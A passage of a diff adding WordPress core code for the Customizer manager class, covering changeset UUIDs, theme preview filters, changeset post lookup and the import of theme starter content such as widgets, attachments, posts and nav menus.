+					'post_status' => array_diff( get_post_stati(), array( 'auto-draft', 'publish', 'trash', 'inherit', 'private' ) ),
+					'exclude_restore_dismissed' => false,
+					'author' => 'any',
+					'posts_per_page' => 1,
+					'order' => 'DESC',
+					'orderby' => 'date',
+				) );
+				$unpublished_changeset_post = array_shift( $unpublished_changeset_posts );
+				if ( ! empty( $unpublished_changeset_post ) && wp_is_uuid( $unpublished_changeset_post->post_name ) ) {
+					$changeset_uuid = $unpublished_changeset_post->post_name;
+				}
+			}
+
+			// If no changeset UUID has been set yet, then generate a new one.
+			if ( empty( $changeset_uuid ) ) {
+				$changeset_uuid = wp_generate_uuid4();
+			}
+
+			$this->_changeset_uuid = $changeset_uuid;
+		}
+
+		if ( is_admin() && 'customize.php' === $pagenow ) {
+			$this->set_changeset_lock( $this->changeset_post_id() );
+		}
+	}
+
+	/**
+	 * Callback to validate a theme once it is loaded
+	 *
+	 * @since 3.4.0
+	 */
+	public function after_setup_theme() {
+		$doing_ajax_or_is_customized = ( $this->doing_ajax() || isset( $_POST['customized'] ) );
+		if ( ! $doing_ajax_or_is_customized && ! validate_current_theme() ) {
+			wp_redirect( 'themes.php?broken=true' );
+			exit;
+		}
+	}
+
+	/**
+	 * If the theme to be previewed isn't the active theme, add filter callbacks
+	 * to swap it out at runtime.
+	 *
+	 * @since 3.4.0
+	 */
+	public function start_previewing_theme() {
+		// Bail if we're already previewing.
+		if ( $this->is_preview() ) {
+			return;
+		}
+
+		$this->previewing = true;
+
+		if ( ! $this->is_theme_active() ) {
+			add_filter( 'template', array( $this, 'get_template' ) );
+			add_filter( 'stylesheet', array( $this, 'get_stylesheet' ) );
+			add_filter( 'pre_option_current_theme', array( $this, 'current_theme' ) );
+
+			// @link: https://core.trac.wordpress.org/ticket/20027
+			add_filter( 'pre_option_stylesheet', array( $this, 'get_stylesheet' ) );
+			add_filter( 'pre_option_template', array( $this, 'get_template' ) );
+
+			// Handle custom theme roots.
+			add_filter( 'pre_option_stylesheet_root', array( $this, 'get_stylesheet_root' ) );
+			add_filter( 'pre_option_template_root', array( $this, 'get_template_root' ) );
+		}
+
+		/**
+		 * Fires once the Customizer theme preview has started.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Manager $this WP_Customize_Manager instance.
+		 */
+		do_action( 'start_previewing_theme', $this );
+	}
+
+	/**
+	 * Stop previewing the selected theme.
+	 *
+	 * Removes filters to change the current theme.
+	 *
+	 * @since 3.4.0
+	 */
+	public function stop_previewing_theme() {
+		if ( ! $this->is_preview() ) {
+			return;
+		}
+
+		$this->previewing = false;
+
+		if ( ! $this->is_theme_active() ) {
+			remove_filter( 'template', array( $this, 'get_template' ) );
+			remove_filter( 'stylesheet', array( $this, 'get_stylesheet' ) );
+			remove_filter( 'pre_option_current_theme', array( $this, 'current_theme' ) );
+
+			// @link: https://core.trac.wordpress.org/ticket/20027
+			remove_filter( 'pre_option_stylesheet', array( $this, 'get_stylesheet' ) );
+			remove_filter( 'pre_option_template', array( $this, 'get_template' ) );
+
+			// Handle custom theme roots.
+			remove_filter( 'pre_option_stylesheet_root', array( $this, 'get_stylesheet_root' ) );
+			remove_filter( 'pre_option_template_root', array( $this, 'get_template_root' ) );
+		}
+
+		/**
+		 * Fires once the Customizer theme preview has stopped.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Manager $this WP_Customize_Manager instance.
+		 */
+		do_action( 'stop_previewing_theme', $this );
+	}
+
+	/**
+	 * Gets whether settings are or will be previewed.
+	 *
+	 * @since 4.9.0
+	 * @see WP_Customize_Setting::preview()
+	 *
+	 * @return bool
+	 */
+	public function settings_previewed() {
+		return $this->settings_previewed;
+	}
+
+	/**
+	 * Gets whether data from a changeset's autosaved revision should be loaded if it exists.
+	 *
+	 * @since 4.9.0
+	 * @see WP_Customize_Manager::changeset_data()
+	 *
+	 * @return bool Is using autosaved changeset revision.
+	 */
+	public function autosaved() {
+		return $this->autosaved;
+	}
+
+	/**
+	 * Whether the changeset branching is allowed.
+	 *
+	 * @since 4.9.0
+	 * @see WP_Customize_Manager::establish_loaded_changeset()
+	 *
+	 * @return bool Is changeset branching.
+	 */
+	public function branching() {
+
+		/**
+		 * Filters whether or not changeset branching is allowed.
+		 *
+		 * By default in core, when changeset branching is not allowed, changesets will operate
+		 * linearly in that only one saved changeset will exist at a time (with a 'draft' or
+		 * 'future' status). This makes the Customizer operate in a way that is similar to going to
+		 * "edit" to one existing post: all users will be making changes to the same post, and autosave
+		 * revisions will be made for that post.
+		 *
+		 * By contrast, when changeset branching is allowed, then the model is like users going
+		 * to "add new" for a page and each user makes changes independently of each other since
+		 * they are all operating on their own separate pages, each getting their own separate
+		 * initial auto-drafts and then once initially saved, autosave revisions on top of that
+		 * user's specific post.
+		 *
+		 * Since linear changesets are deemed to be more suitable for the majority of WordPress users,
+		 * they are the default. For WordPress sites that have heavy site management in the Customizer
+		 * by multiple users then branching changesets should be enabled by means of this filter.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param bool                 $allow_branching Whether branching is allowed. If `false`, the default,
+		 *                                              then only one saved changeset exists at a time.
+		 * @param WP_Customize_Manager $wp_customize    Manager instance.
+		 */
+		$this->branching = apply_filters( 'customize_changeset_branching', $this->branching, $this );
+
+		return $this->branching;
+	}
+
+	/**
+	 * Get the changeset UUID.
+	 *
+	 * @since 4.7.0
+	 * @see WP_Customize_Manager::establish_loaded_changeset()
+	 *
+	 * @return string UUID.
+	 */
+	public function changeset_uuid() {
+		if ( empty( $this->_changeset_uuid ) ) {
+			$this->establish_loaded_changeset();
+		}
+		return $this->_changeset_uuid;
+	}
+
+	/**
+	 * Get the theme being customized.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return WP_Theme
+	 */
+	public function theme() {
+		if ( ! $this->theme ) {
+			$this->theme = wp_get_theme();
+		}
+		return $this->theme;
+	}
+
+	/**
+	 * Get the registered settings.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return array
+	 */
+	public function settings() {
+		return $this->settings;
+	}
+
+	/**
+	 * Get the registered controls.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return array
+	 */
+	public function controls() {
+		return $this->controls;
+	}
+
+	/**
+	 * Get the registered containers.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return array
+	 */
+	public function containers() {
+		return $this->containers;
+	}
+
+	/**
+	 * Get the registered sections.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return array
+	 */
+	public function sections() {
+		return $this->sections;
+	}
+
+	/**
+	 * Get the registered panels.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return array Panels.
+	 */
+	public function panels() {
+		return $this->panels;
+	}
+
+	/**
+	 * Checks if the current theme is active.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return bool
+	 */
+	public function is_theme_active() {
+		return $this->get_stylesheet() == $this->original_stylesheet;
+	}
+
+	/**
+	 * Register styles/scripts and initialize the preview of each setting
+	 *
+	 * @since 3.4.0
+	 */
+	public function wp_loaded() {
+
+		// Unconditionally register core types for panels, sections, and controls in case plugin unhooks all customize_register actions.
+		$this->register_panel_type( 'WP_Customize_Panel' );
+		$this->register_panel_type( 'WP_Customize_Themes_Panel' );
+		$this->register_section_type( 'WP_Customize_Section' );
+		$this->register_section_type( 'WP_Customize_Sidebar_Section' );
+		$this->register_section_type( 'WP_Customize_Themes_Section' );
+		$this->register_control_type( 'WP_Customize_Color_Control' );
+		$this->register_control_type( 'WP_Customize_Media_Control' );
+		$this->register_control_type( 'WP_Customize_Upload_Control' );
+		$this->register_control_type( 'WP_Customize_Image_Control' );
+		$this->register_control_type( 'WP_Customize_Background_Image_Control' );
+		$this->register_control_type( 'WP_Customize_Background_Position_Control' );
+		$this->register_control_type( 'WP_Customize_Cropped_Image_Control' );
+		$this->register_control_type( 'WP_Customize_Site_Icon_Control' );
+		$this->register_control_type( 'WP_Customize_Theme_Control' );
+		$this->register_control_type( 'WP_Customize_Code_Editor_Control' );
+		$this->register_control_type( 'WP_Customize_Date_Time_Control' );
+
+		/**
+		 * Fires once WordPress has loaded, allowing scripts and styles to be initialized.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Manager $this WP_Customize_Manager instance.
+		 */
+		do_action( 'customize_register', $this );
+
+		if ( $this->settings_previewed() ) {
+			foreach ( $this->settings as $setting ) {
+				$setting->preview();
+			}
+		}
+
+		if ( $this->is_preview() && ! is_admin() ) {
+			$this->customize_preview_init();
+		}
+	}
+
+	/**
+	 * Prevents Ajax requests from following redirects when previewing a theme
+	 * by issuing a 200 response instead of a 30x.
+	 *
+	 * Instead, the JS will sniff out the location header.
+	 *
+	 * @since 3.4.0
+	 * @deprecated 4.7.0
+	 *
+	 * @param int $status Status.
+	 * @return int
+	 */
+	public function wp_redirect_status( $status ) {
+		_deprecated_function( __FUNCTION__, '4.7.0' );
+
+		if ( $this->is_preview() && ! is_admin() ) {
+			return 200;
+		}
+
+		return $status;
+	}
+
+	/**
+	 * Find the changeset post ID for a given changeset UUID.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $uuid Changeset UUID.
+	 * @return int|null Returns post ID on success and null on failure.
+	 */
+	public function find_changeset_post_id( $uuid ) {
+		$cache_group = 'customize_changeset_post';
+		$changeset_post_id = wp_cache_get( $uuid, $cache_group );
+		if ( $changeset_post_id && 'customize_changeset' === get_post_type( $changeset_post_id ) ) {
+			return $changeset_post_id;
+		}
+
+		$changeset_post_query = new WP_Query( array(
+			'post_type' => 'customize_changeset',
+			'post_status' => get_post_stati(),
+			'name' => $uuid,
+			'posts_per_page' => 1,
+			'no_found_rows' => true,
+			'cache_results' => true,
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'lazy_load_term_meta' => false,
+		) );
+		if ( ! empty( $changeset_post_query->posts ) ) {
+			// Note: 'fields'=>'ids' is not being used in order to cache the post object as it will be needed.
+			$changeset_post_id = $changeset_post_query->posts[0]->ID;
+			wp_cache_set( $uuid, $changeset_post_id, $cache_group );
+			return $changeset_post_id;
+		}
+
+		return null;
+	}
+
+	/**
+	 * Get changeset posts.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array $args {
+	 *     Args to pass into `get_posts()` to query changesets.
+	 *
+	 *     @type int    $posts_per_page             Number of posts to return. Defaults to -1 (all posts).
+	 *     @type int    $author                     Post author. Defaults to current user.
+	 *     @type string $post_status                Status of changeset. Defaults to 'auto-draft'.
+	 *     @type bool   $exclude_restore_dismissed  Whether to exclude changeset auto-drafts that have been dismissed. Defaults to true.
+	 * }
+	 * @return WP_Post[] Auto-draft changesets.
+	 */
+	protected function get_changeset_posts( $args = array() ) {
+		$default_args = array(
+			'exclude_restore_dismissed' => true,
+			'posts_per_page' => -1,
+			'post_type' => 'customize_changeset',
+			'post_status' => 'auto-draft',
+			'order' => 'DESC',
+			'orderby' => 'date',
+			'no_found_rows' => true,
+			'cache_results' => true,
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'lazy_load_term_meta' => false,
+		);
+		if ( get_current_user_id() ) {
+			$default_args['author'] = get_current_user_id();
+		}
+		$args = array_merge( $default_args, $args );
+
+		if ( ! empty( $args['exclude_restore_dismissed'] ) ) {
+			unset( $args['exclude_restore_dismissed'] );
+			$args['meta_query'] = array(
+				array(
+					'key' => '_customize_restore_dismissed',
+					'compare' => 'NOT EXISTS',
+				),
+			);
+		}
+
+		return get_posts( $args );
+	}
+
+	/**
+	 * Dismiss all of the current user's auto-drafts (other than the present one).
+	 *
+	 * @since 4.9.0
+	 * @return int The number of auto-drafts that were dismissed.
+	 */
+	protected function dismiss_user_auto_draft_changesets() {
+		$changeset_autodraft_posts = $this->get_changeset_posts( array(
+			'post_status' => 'auto-draft',
+			'exclude_restore_dismissed' => true,
+			'posts_per_page' => -1,
+		) );
+		$dismissed = 0;
+		foreach ( $changeset_autodraft_posts as $autosave_autodraft_post ) {
+			if ( $autosave_autodraft_post->ID === $this->changeset_post_id() ) {
+				continue;
+			}
+			if ( update_post_meta( $autosave_autodraft_post->ID, '_customize_restore_dismissed', true ) ) {
+				$dismissed++;
+			}
+		}
+		return $dismissed;
+	}
+
+	/**
+	 * Get the changeset post id for the loaded changeset.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return int|null Post ID on success or null if there is no post yet saved.
+	 */
+	public function changeset_post_id() {
+		if ( ! isset( $this->_changeset_post_id ) ) {
+			$post_id = $this->find_changeset_post_id( $this->changeset_uuid() );
+			if ( ! $post_id ) {
+				$post_id = false;
+			}
+			$this->_changeset_post_id = $post_id;
+		}
+		if ( false === $this->_changeset_post_id ) {
+			return null;
+		}
+		return $this->_changeset_post_id;
+	}
+
+	/**
+	 * Get the data stored in a changeset post.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param int $post_id Changeset post ID.
+	 * @return array|WP_Error Changeset data or WP_Error on error.
+	 */
+	protected function get_changeset_post_data( $post_id ) {
+		if ( ! $post_id ) {
+			return new WP_Error( 'empty_post_id' );
+		}
+		$changeset_post = get_post( $post_id );
+		if ( ! $changeset_post ) {
+			return new WP_Error( 'missing_post' );
+		}
+		if ( 'revision' === $changeset_post->post_type ) {
+			if ( 'customize_changeset' !== get_post_type( $changeset_post->post_parent ) ) {
+				return new WP_Error( 'wrong_post_type' );
+			}
+		} elseif ( 'customize_changeset' !== $changeset_post->post_type ) {
+			return new WP_Error( 'wrong_post_type' );
+		}
+		$changeset_data = json_decode( $changeset_post->post_content, true );
+		if ( function_exists( 'json_last_error' ) && json_last_error() ) {
+			return new WP_Error( 'json_parse_error', '', json_last_error() );
+		}
+		if ( ! is_array( $changeset_data ) ) {
+			return new WP_Error( 'expected_array' );
+		}
+		return $changeset_data;
+	}
+
+	/**
+	 * Get changeset data.
+	 *
+	 * @since 4.7.0
+	 * @since 4.9.0 This will return the changeset's data with a user's autosave revision merged on top, if one exists and $autosaved is true.
+	 *
+	 * @return array Changeset data.
+	 */
+	public function changeset_data() {
+		if ( isset( $this->_changeset_data ) ) {
+			return $this->_changeset_data;
+		}
+		$changeset_post_id = $this->changeset_post_id();
+		if ( ! $changeset_post_id ) {
+			$this->_changeset_data = array();
+		} else {
+			if ( $this->autosaved() && is_user_logged_in() ) {
+				$autosave_post = wp_get_post_autosave( $changeset_post_id, get_current_user_id() );
+				if ( $autosave_post ) {
+					$data = $this->get_changeset_post_data( $autosave_post->ID );
+					if ( ! is_wp_error( $data ) ) {
+						$this->_changeset_data = $data;
+					}
+				}
+			}
+
+			// Load data from the changeset if it was not loaded from an autosave.
+			if ( ! isset( $this->_changeset_data ) ) {
+				$data = $this->get_changeset_post_data( $changeset_post_id );
+				if ( ! is_wp_error( $data ) ) {
+					$this->_changeset_data = $data;
+				} else {
+					$this->_changeset_data = array();
+				}
+			}
+		}
+		return $this->_changeset_data;
+	}
+
+	/**
+	 * Starter content setting IDs.
+	 *
+	 * @since 4.7.0
+	 * @var array
+	 */
+	protected $pending_starter_content_settings_ids = array();
+
+	/**
+	 * Import theme starter content into the customized state.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $starter_content Starter content. Defaults to `get_theme_starter_content()`.
+	 */
+	function import_theme_starter_content( $starter_content = array() ) {
+		if ( empty( $starter_content ) ) {
+			$starter_content = get_theme_starter_content();
+		}
+
+		$changeset_data = array();
+		if ( $this->changeset_post_id() ) {
+			/*
+			 * Don't re-import starter content into a changeset saved persistently.
+			 * This will need to be revisited in the future once theme switching
+			 * is allowed with drafted/scheduled changesets, since switching to
+			 * another theme could result in more starter content being applied.
+			 * However, when doing an explicit save it is currently possible for
+			 * nav menus and nav menu items specifically to lose their starter_content
+			 * flags, thus resulting in duplicates being created since they fail
+			 * to get re-used. See #40146.
+			 */
+			if ( 'auto-draft' !== get_post_status( $this->changeset_post_id() ) ) {
+				return;
+			}
+
+			$changeset_data = $this->get_changeset_post_data( $this->changeset_post_id() );
+		}
+
+		$sidebars_widgets = isset( $starter_content['widgets'] ) && ! empty( $this->widgets ) ? $starter_content['widgets'] : array();
+		$attachments = isset( $starter_content['attachments'] ) && ! empty( $this->nav_menus ) ? $starter_content['attachments'] : array();
+		$posts = isset( $starter_content['posts'] ) && ! empty( $this->nav_menus ) ? $starter_content['posts'] : array();
+		$options = isset( $starter_content['options'] ) ? $starter_content['options'] : array();
+		$nav_menus = isset( $starter_content['nav_menus'] ) && ! empty( $this->nav_menus ) ? $starter_content['nav_menus'] : array();
+		$theme_mods = isset( $starter_content['theme_mods'] ) ? $starter_content['theme_mods'] : array();
+
+		// Widgets.
+		$max_widget_numbers = array();
+		foreach ( $sidebars_widgets as $sidebar_id => $widgets ) {
+			$sidebar_widget_ids = array();
+			foreach ( $widgets as $widget ) {
+				list( $id_base, $instance ) = $widget;
+
+				if ( ! isset( $max_widget_numbers[ $id_base ] ) ) {
+
+					// When $settings is an array-like object, get an intrinsic array for use with array_keys().
+					$settings = get_option( "widget_{$id_base}", array() );
+					if ( $settings instanceof ArrayObject || $settings instanceof ArrayIterator ) {
+						$settings = $settings->getArrayCopy();
+					}
+
+					// Find the max widget number for this type.
+					$widget_numbers = array_keys( $settings );
+					if ( count( $widget_numbers ) > 0 ) {
+						$widget_numbers[] = 1;
+						$max_widget_numbers[ $id_base ] = call_user_func_array( 'max', $widget_numbers );
+					} else {
+						$max_widget_numbers[ $id_base ] = 1;
+					}
+				}
+				$max_widget_numbers[ $id_base ] += 1;
+
+				$widget_id = sprintf( '%s-%d', $id_base, $max_widget_numbers[ $id_base ] );
+				$setting_id = sprintf( 'widget_%s[%d]', $id_base, $max_widget_numbers[ $id_base ] );
+
+				$setting_value = $this->widgets->sanitize_widget_js_instance( $instance );
+				if ( empty( $changeset_data[ $setting_id ] ) || ! empty( $changeset_data[ $setting_id ]['starter_content'] ) ) {
+					$this->set_post_value( $setting_id, $setting_value );
+					$this->pending_starter_content_settings_ids[] = $setting_id;
+				}
+				$sidebar_widget_ids[] = $widget_id;
+			}
+
+			$setting_id = sprintf( 'sidebars_widgets[%s]', $sidebar_id );
+			if ( empty( $changeset_data[ $setting_id ] ) || ! empty( $changeset_data[ $setting_id ]['starter_content'] ) ) {
+				$this->set_post_value( $setting_id, $sidebar_widget_ids );
+				$this->pending_starter_content_settings_ids[] = $setting_id;
+			}
+		}
+
+		$starter_content_auto_draft_post_ids = array();
+		if ( ! empty( $changeset_data['nav_menus_created_posts']['value'] ) ) {
+			$starter_content_auto_draft_post_ids = array_merge( $starter_content_auto_draft_post_ids, $changeset_data['nav_menus_created_posts']['value'] );
+		}
+
+		// Make an index of all the posts needed and what their slugs are.
+		$needed_posts = array();
+		$attachments = $this->prepare_starter_content_attachments( $attachments );
+		foreach ( $attachments as $attachment ) {
+			$key = 'attachment:' . $attachment['post_name'];
+			$needed_posts[ $key ] = true;
+		}
+		foreach ( array_keys( $posts ) as $post_symbol ) {
+			if ( empty( $posts[ $post_symbol ]['post_name'] ) && empty( $posts[ $post_symbol ]['post_title'] ) ) {
+				unset( $posts[ $post_symbol ] );
+				continue;
+			}
+			if ( empty( $posts[ $post_symbol ]['post_name'] ) ) {
+				$posts[ $post_symbol ]['post_name'] = sanitize_title( $posts[ $post_symbol ]['post_title'] );
+			}
+			if ( empty( $posts[ $post_symbol ]['post_type'] ) ) {
+				$posts[ $post_symbol ]['post_type'] = 'post';
+			}
+			$needed_posts[ $posts[ $post_symbol ]['post_type'] . ':' . $posts[ $post_symbol ]['post_name'] ] = true;
+		}
+		$all_post_slugs = array_merge(
+			wp_list_pluck( $attachments, 'post_name' ),
+			wp_list_pluck( $posts, 'post_name' )
+		);
+
+		/*
+		 * Obtain all post types referenced in starter content to use in query.
+		 * This is needed because 'any' will not account for post types not yet registered.
+		 */
+		$post_types = array_filter( array_merge( array( 'attachment' ), wp_list_pluck( $posts, 'post_type' ) ) );
+
+		// Re-use auto-draft starter content posts referenced in the current customized state.
+		$existing_starter_content_posts = array();
+		if ( ! empty( $starter_content_auto_draft_post_ids ) ) {
+			$existing_posts_query = new WP_Query( array(
+				'post__in' => $starter_content_auto_draft_post_ids,
+				'post_status' => 'auto-draft',
+				'post_type' => $post_types,
+				'posts_per_page' => -1,
+			) );
+			foreach ( $existing_posts_query->posts as $existing_post ) {
+				$post_name = $existing_post->post_name;
+				if ( empty( $post_name ) ) {
+					$post_name = get_post_meta( $existing_post->ID, '_customize_draft_post_name', true );
+				}
+				$existing_starter_content_posts[ $existing_post->post_type . ':' . $post_name ] = $existing_post;
+			}
+		}
+
+		// Re-use non-auto-draft posts.
+		if ( ! empty( $all_post_slugs ) ) {
+			$existing_posts_query = new WP_Query( array(
+				'post_name__in' => $all_post_slugs,
+				'post_status' => array_diff( get_post_stati(), array( 'auto-draft' ) ),
+				'post_type' => 'any',
+				'posts_per_page' => -1,
+			) );
+			foreach ( $existing_posts_query->posts as $existing_post ) {
+				$key = $existing_post->post_type . ':' . $existing_post->post_name;
+				if ( isset( $needed_posts[ $key ] ) && ! isset( $existing_starter_content_posts[ $key ] ) ) {
+					$existing_starter_content_posts[ $key ] = $existing_post;
+				}
+			}
+		}
+
+		// Attachments are technically posts but handled differently.
+		if ( ! empty( $attachments ) ) {
+
+			$attachment_ids = array();
+
+			foreach ( $attachments as $symbol => $attachment ) {
+				$file_array = array(
+					'name' => $attachment['file_name'],
+				);
+				$file_path = $attachment['file_path'];
+				$attachment_id = null;
+				$attached_file = null;
+				if ( isset( $existing_starter_content_posts[ 'attachment:' . $attachment['post_name'] ] ) ) {
+					$attachment_post = $existing_starter_content_posts[ 'attachment:' . $attachment['post_name'] ];
+					$attachment_id = $attachment_post->ID;
+					$attached_file = get_attached_file( $attachment_id );
+					if ( empty( $attached_file ) || ! file_exists( $attached_file ) ) {
+						$attachment_id = null;
+						$attached_file = null;
+					} elseif ( $this->get_stylesheet() !== get_post_meta( $attachment_post->ID, '_starter_content_theme', true ) ) {
+
+						// Re-generate attachment metadata since it was previously generated for a different theme.
+						$metadata = wp_generate_attachment_metadata( $attachment_post->ID, $attached_file );
+						wp_update_attachment_metadata( $attachment_id, $metadata );
+						update_post_meta( $attachment_id, '_starter_content_theme', $this->get_stylesheet() );
+					}
+				}
+
+				// Insert the attachment auto-draft because it doesn't yet exist or the attached file is gone.
+				if ( ! $attachment_id ) {
+
+					// Copy file to temp location so that original file won't get deleted from theme after sideloading.
+					$temp_file_name = wp_tempnam( basename( $file_path ) );
+					if ( $temp_file_name && copy( $file_path, $temp_file_name ) ) {
+						$file_array['tmp_name'] = $temp_file_name;
+					}
+					if ( empty( $file_array['tmp_name'] ) ) {
+						continue;
+					}
+
+					$attachment_post_data = array_merge(
+						wp_array_slice_assoc( $attachment, array( 'post_title', 'post_content', 'post_excerpt' ) ),
+						array(
+							'post_status' => 'auto-draft', // So attachment will be garbage collected in a week if changeset is never published.
+						)
+					);
+
+					// In PHP < 5.6 filesize() returns 0 for the temp files unless we clear the file status cache.
+					// Technically, PHP < 5.6.0 || < 5.5.13 || < 5.4.29 but no need to be so targeted.
+					// See https://bugs.php.net/bug.php?id=65701
+					if ( version_compare( PHP_VERSION, '5.6', '<' ) ) {
+						clearstatcache();
+					}
+
+					$attachment_id = media_handle_sideload( $file_array, 0, null, $attachment_post_data );
+					if ( is_wp_error( $attachment_id ) ) {
+						continue;
+					}
+					update_post_meta( $attachment_id, '_starter_content_theme', $this->get_stylesheet() );
+					update_post_meta( $attachment_id, '_customize_draft_post_name', $attachment['post_name'] );
+				}
+
+				$attachment_ids[ $symbol ] = $attachment_id;
+			}
+			$starter_content_auto_draft_post_ids = array_merge( $starter_content_auto_draft_post_ids, array_values( $attachment_ids ) );
+		}
+
+		// Posts & pages.
+		if ( ! empty( $posts ) ) {
+			foreach ( array_keys( $posts ) as $post_symbol ) {
+				if ( empty( $posts[ $post_symbol ]['post_type'] ) || empty( $posts[ $post_symbol ]['post_name'] ) ) {
+					continue;
+				}
+				$post_type = $posts[ $post_symbol ]['post_type'];
+				if ( ! empty( $posts[ $post_symbol ]['post_name'] ) ) {
+					$post_name = $posts[ $post_symbol ]['post_name'];
+				} elseif ( ! empty( $posts[ $post_symbol ]['post_title'] ) ) {
+					$post_name = sanitize_title( $posts[ $post_symbol ]['post_title'] );
+				} else {
+					continue;
+				}
+
+				// Use existing auto-draft post if one already exists with the same type and name.
+				if ( isset( $existing_starter_content_posts[ $post_type . ':' . $post_name ] ) ) {
+					$posts[ $post_symbol ]['ID'] = $existing_starter_content_posts[ $post_type . ':' . $post_name ]->ID;
+					continue;
+				}
+
+				// Translate the featured image symbol.
+				if ( ! empty( $posts[ $post_symbol ]['thumbnail'] )
+					&& preg_match( '/^{{(?P<symbol>.+)}}$/', $posts[ $post_symbol ]['thumbnail'], $matches )
+					&& isset( $attachment_ids[ $matches['symbol'] ] ) ) {
+					$posts[ $post_symbol ]['meta_input']['_thumbnail_id'] = $attachment_ids[ $matches['symbol'] ];
+				}
+
+				if ( ! empty( $posts[ $post_symbol ]['template'] ) ) {
+					$posts[ $post_symbol ]['meta_input']['_wp_page_template'] = $posts[ $post_symbol ]['template'];
+				}
+
+				$r = $this->nav_menus->insert_auto_draft_post( $posts[ $post_symbol ] );
+				if ( $r instanceof WP_Post ) {
+					$posts[ $post_symbol ]['ID'] = $r->ID;
+				}
+			}
+
+			$starter_content_auto_draft_post_ids = array_merge( $starter_content_auto_draft_post_ids, wp_list_pluck( $posts, 'ID' ) );
+		}
+
+		// The nav_menus_created_posts setting is why nav_menus component is dependency for adding posts.
+		if ( ! empty( $this->nav_menus ) && ! empty( $starter_content_auto_draft_post_ids ) ) {
+			$setting_id = 'nav_menus_created_posts';
+			$this->set_post_value( $setting_id, array_unique( array_values( $starter_content_auto_draft_post_ids ) ) );
+			$this->pending_starter_content_settings_ids[] = $setting_id;
+		}
+
+		// Nav menus.
+		$placeholder_id = -1;
+		$reused_nav_menu_setting_ids = array();
+		foreach ( $nav_menus as $nav_menu_location => $nav_menu ) {
+
+			$nav_menu_term_id = null;
+			$nav_menu_setting_id = null;
+			$matches = array();
+
+			// Look for an existing placeholder menu with starter content to re-use.
+			foreach ( $changeset_data as $setting_id => $setting_params ) {
+				$can_reuse = (
+					! empty( $setting_params['starter_content'] )
+					&&
+					! in_array( $setting_id, $reused_nav_menu_setting_ids, true )
+					&&
+					preg_match( '#^nav_menu\[(?P<nav_menu_id>-?\d+)\]$#', $setting_id, $matches )
+				);
+				if ( $can_reuse ) {
+					$nav_menu_term_id = intval( $matches['nav_menu_id'] );
+					$nav_menu_setting_id = $setting_id;
+					$reused_nav_menu_setting_ids[] = $setting_id;
+					break;
+				}
+			}
+
+			if ( ! $nav_menu_term_id ) {
+				while ( isset( $changeset_data[ sprintf( 'nav_menu[%d]', $placeholder_id ) ] ) ) {
+					$placeholder_id--;
+				}
+				$nav_menu_term_id = $placeholder_id;
+				$nav_menu_setting_id = sprintf( 'nav_menu[%d]', $placeholder_id );
+			}
+
+			$this->set_post_value( $nav_menu_setting_id, array(
+				'name' => isset( $nav_menu['name'] ) ? $nav_menu['name'] : $nav_menu_location,
+			) );
+			$this->pending_starter_content_settings_ids[] = $nav_menu_setting_id;
+
+			// @todo Add support for menu_item_parent.
+			$position = 0;
+			foreach ( $nav_menu['items'] as $nav_menu_item ) {
+				$nav_menu_item_setting_id = sprintf( 'nav_menu_item[%d]', $placeholder_id-- );
+				if ( ! isset( $nav_menu_item['position'] ) ) {
+					$nav_menu_item['position'] = $position++;
+				}
+				$nav_menu_item['nav_menu_term_id'] = $nav_menu_term_id;
+
+				if ( isset( $nav_menu_item['object_id'] ) ) {
+					if ( 'post_type' === $nav_menu_item['type'] && preg_match( '/^{{(?P<symbol>.+)}}$/', $nav_menu_item['object_id'], $matches ) && isset( $posts[ $matches['symbol'] ] ) ) {
+						$nav_menu_item['object_id'] = $posts[ $matches['symbol'] ]['ID'];
+						if ( empty( $nav_menu_item['title'] ) ) {
+							$original_object = get_post( $nav_menu_item['object_id'] );
+							$nav_menu_item['title'] = $original_object->post_title;
+						}
+					} else {
+						continue;
+					}
+				} else {
+					$nav_menu_item['object_id'] = 0;
+				}
+
+				if ( empty( $changeset_data[ $nav_menu_item_setting_id ] ) || ! empty( $changeset_data[ $nav_menu_item_setting_id ]['starter_content'] ) ) {
+					$this->set_post_value( $nav_menu_item_setting_id, $nav_menu_item );
+					$this->pending_starter_content_settings_ids[] = $nav_menu_item_setting_id;
+				}
+			}
+
+			$setting_id = sprintf( 'nav_menu_locations[%s]', $nav_menu_location );
+			if ( empty( $changeset_data[ $setting_id ] ) || ! empty( $changeset_data[ $setting_id ]['starter_content'] ) ) {
+				$this->set_post_value( $setting_id, $nav_menu_term_id );
+				$this->pending_starter_content_settings_ids[] = $setting_id;
+			}
+		}
+
+		// Options.
+		foreach ( $options as $name => $value ) {
+			if ( preg_match( '/^{{(?P<symbol>.+)}}$/', $value, $matches ) ) {
+				if ( isset( $posts[ $matches['symbol'] ] ) ) {
+					$value = $posts[ $matches['symbol'] ]['ID'];
+				} elseif ( isset( $attachment_ids[ $matches['symbol'] ] ) ) {
+					$value = $attachment_ids[ $matches['symbol'] ];
+				} else {
+					continue;
+				}
+			}
+
+			if ( empty( $changeset_data[ $name ] ) || ! empty( $changeset_data[ $name ]['starter_content'] ) ) {
+				$this->set_post_value( $name, $value );
+				$this->pending_starter_content_settings_ids[] = $name;
+			}
+		}
+
+		// Theme mods.
+		foreach ( $theme_mods as $name => $value ) {
+			if ( preg_match( '/^{{(?P<symbol>.+)}}$/', $value, $matches ) ) {
+				if ( isset( $posts[ $matches['symbol'] ] ) ) {
+					$value = $posts[ $matches['symbol'] ]['ID'];
+				} elseif ( isset( $attachment_ids[ $matches['symbol'] ] ) ) {
+					$value = $attachment_ids[ $matches['symbol'] ];
